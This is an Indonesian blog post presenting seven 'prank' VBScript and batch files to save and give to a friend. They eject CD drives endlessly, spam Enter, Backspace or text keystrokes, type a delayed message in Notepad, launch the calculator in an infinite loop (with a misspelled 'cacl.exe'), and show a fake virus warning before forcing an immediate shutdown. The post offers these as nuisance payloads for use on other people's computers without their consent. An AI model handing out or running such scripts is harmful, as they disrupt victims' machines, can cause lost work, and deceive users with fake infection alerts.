Cara Menjahili Komputer Teman Via Notepad

Selamat pagi sobat semua. Gimana kabarnya pagi ini ? semoga dalam keadaan baik-baik saja. Kali ini saya akan memposting sebuah trik jail menggunkan notepad. Mungkin kawan Kampus TI udah ada yg pernah denger tentang Jail Menggunakan Notepad, disini saya hanya ingin berbagi saja siapa tau ada yang belum pernah nyoba Langsung aje ke TKP gan !!

1. jebakan eject CD-Drive Terus Menerus
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Kemudian save dengan “terserah.VBS” & Berikan keteman 

2. jebakan Tombol Enter Terus Menerus
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
Kemudian save dengan “terserah.VBS” & Berikan keteman

3. Jebakan Dengan Pesan Lambat Notepad “Hello, how are you? I am good thanks!”
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “
Kemudian save dengan “terserah.VBS” & Berikan keteman

4. Jebakan Dengan Backspace
MsgBox “Maaf, Anda Harus Mengulang Kembali”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
Kemudian save dengan “terserah.VBS” & Berikan keteman

5.Jebakan Dengan Membuka Calculator Terus Menerus
@ECHO off
:top
START %SystemRoot%\system32\cacl.exe
GOTO top
Kemudian save dengan “terserah.BAT” & Berikan keteman Anda

6.Jebakan Dengan Keyboard
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki”
loop
Kemudian save dengan “terserah.VBS” & Berikan keteman 

7.Jebakan Dengan Shutdown Computer 
@echo off
msg * Komputer Anda Terinfeksi Virus
shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0
Kemudian save dengan “terserah.BAT” & Berikan keteman


Semoga Bermanfaat.....